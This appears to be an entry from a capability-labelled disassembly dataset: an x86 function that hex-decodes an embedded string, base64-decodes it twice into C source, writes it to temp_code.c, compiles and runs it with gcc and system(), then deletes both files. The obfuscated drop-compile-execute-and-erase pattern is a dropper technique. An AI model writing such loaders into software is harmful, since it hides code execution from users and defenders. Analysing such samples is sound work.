Function at 0x4016d8
Capabilities:
Delete file
Execute command

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x30
call sym.___main
mov dword [esp + 0x2c], str.53544A7364566B79654446615231566E5545684F4D46704862485A4D6257637251326C4F63474A74546E4E6B56314A7353555234656D5248556E4E6856306C315955513053306B796248565A4D6E6778576B64565A3142495A48426962564A325A444E4E645746454E457444626C7032595664525A324D7A556D785A5633677759554E6E6345393363484269626C466E597A4A474D6C705461484269626C466E59544A574E574D7A556E6C694D6E527354454E43616D4648526E6C4A51334274595664346245745563307444625778315A454E4364466C586248564C5132746E5A5864765A306C445157646A4D314A73575664344D4746445A3342506432396E53554E425A3246584E54424A5232733353554D34646B6C46546E5A6A626B707357544E5362467044516D745A57464A6F535568534E574E485657646B527A686E595663314D454E6E6232644A5130466E5A444A6F63474A485657644C524556775355687A53306C445157644A5130466E53554E425A306C445157644A5130466E53554E425A306C445157644A5130466E53554E425A306C445157644A5130466E53554E6F636C705962475A6A4D314A35596A4A3062456C454D446C4A526C704D5744464B536C49776146564C553049345A6B46765A306C445157644A5130466E53554E425A306C445157644A5130466E53554E4262324579566A56594D30347759323035636C705451546C5155304A58557A453551314656546B784C553049345A6B4E4262324579566A56594D30347759323035636C705451546C5155304A58557A4535565646565358424A5348673451326C425A306C445157644A5130466E53554E425A306C445157644A5130466E53554E425A306C445157644A5130466E53554E425A306C445157644A5130466E53554E6F636C705962475A6A4D314A35596A4A3062456C454D446C4A526C704D5744464F53564E56576C564C5530457653554E4B56464E466245645751306C6E543264765A306C445157644A5130466E53554E425A306C445157644A5130466E53554E425A306C445157644A5130466E53554E425A306C445157644A5130466E53554E425A306C445157644A5130466E53554E425A306C445157644A5130466E53554E425A306C4461484A615747786D597A4E53655749796447784A5244413553555A6154466777566B39535132746E55486C4261564A564E55564A6155453251326C425A306C445157644A5130466E53554E425A306C445157644A5130466E53554E425A306C445157644A5130466E53554E425A306C445157644A5130466E53554E425A306C445157644A5130466E53554E425A306C445157644A5130466E53554E4262324579566A56594D30347759323035636C705451546C5155304A58557A4535535651774D555A4C5530457653554E4B535651774D555A4A6155453251326C425A306C445157644A5130466E53554E425A306C445157644A5130466E53554E425A306C445157644A5130466E53554E425A306C445157644A5130466E53554E425A306C445157644A5130466E53554E4262324579566A56594D30347759323035636C705451546C5155304A58557A453554564A56576C564C5530457653554E4B54564A56576C564A6155453251326C425A306C445157644A5130466E53554E425A306C445157644A5130466E53554E425A306C445157644A5130466E53554E425A306C445157644A5130466E53306430624756574F58706B5345703259544A565A3142554D4764576133526D556B5535574652706132645165554670556B553557465270535764505A32396E53554E425A306C445157644A5130466E53554E425A306C445157644A5130466E53554E425A306C445157644A5130466E53554E425A306C445157644A5130466E53554E425A306C445157644A5130466E53554E4262324579566A56594D30347759323035636C705451546C5155304A58557A453552564A56546B705556555A4E53314E725A32563551585A4D65554A45596A4E4B65567058546A42615631466E57544A47656C7054516D70694D6A567259566853634749794E5870446155466E53554E425A306C44516D316A53457077596D3553625574484F54466B534549785A45566163474A4856584E4A51306C7357586C4A63306C486447786C566A6C365A45684B646D4579565842506555463254486C435247497A536E6C6156303477576C64525A317075516E6C68567A5577576D6C434D574D79526D35615557396E53554E425A325A526230744A5130466E53556461616D4A484F587061553268325A46685364325259556B6468563368735331527A53306C445157644A534570735A45685765574A7051586450643341355132633950513D3D
mov eax, dword [esp + 0x2c]
mov dword [esp], eax
call sym._decode_hex
mov dword [esp + 0x28], eax
mov eax, dword [esp + 0x28]
mov dword [esp + 4], eax
mov dword [esp], str.Hex_Decoded:__s_n
call sym._printf
mov eax, dword [esp + 0x28]
mov dword [esp], eax
call sym._base64_decode
mov dword [esp + 0x24], eax
mov eax, dword [esp + 0x24]
mov dword [esp + 4], eax
mov dword [esp], str.Base64_Decoded_1:__s_n
call sym._printf
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._base64_decode
mov dword [esp + 0x20], eax
mov eax, dword [esp + 0x20]
mov dword [esp + 4], eax
mov dword [esp], str.Base64_Decoded_2:__s_n
call sym._printf
mov dword [esp + 4], 0x405e36
mov dword [esp], str.temp_code.c
call sym._fopen
mov dword [esp + 0x1c], eax
cmp dword [esp + 0x1c], 0
je 0x4017cb
mov eax, dword [esp + 0x1c]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x20]
mov dword [esp], eax
call sym._fputs
mov eax, dword [esp + 0x1c]
mov dword [esp], eax
call sym._fclose
mov dword [esp], str.gcc_temp_code.c__o_temp_code
call sym._system
mov dword [esp], str.._temp_code
call sym._system
mov dword [esp], str.temp_code.c
call sym._remove
mov dword [esp], str.temp_code
call sym._remove
jmp 0x4017d7
mov dword [esp], str.Error_creating_temporary_file.
call sym._puts
mov eax, dword [esp + 0x28]
mov dword [esp], eax
call sym._free
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._free
mov eax, dword [esp + 0x20]
mov dword [esp], eax
call sym._free
mov eax, 0
leave
ret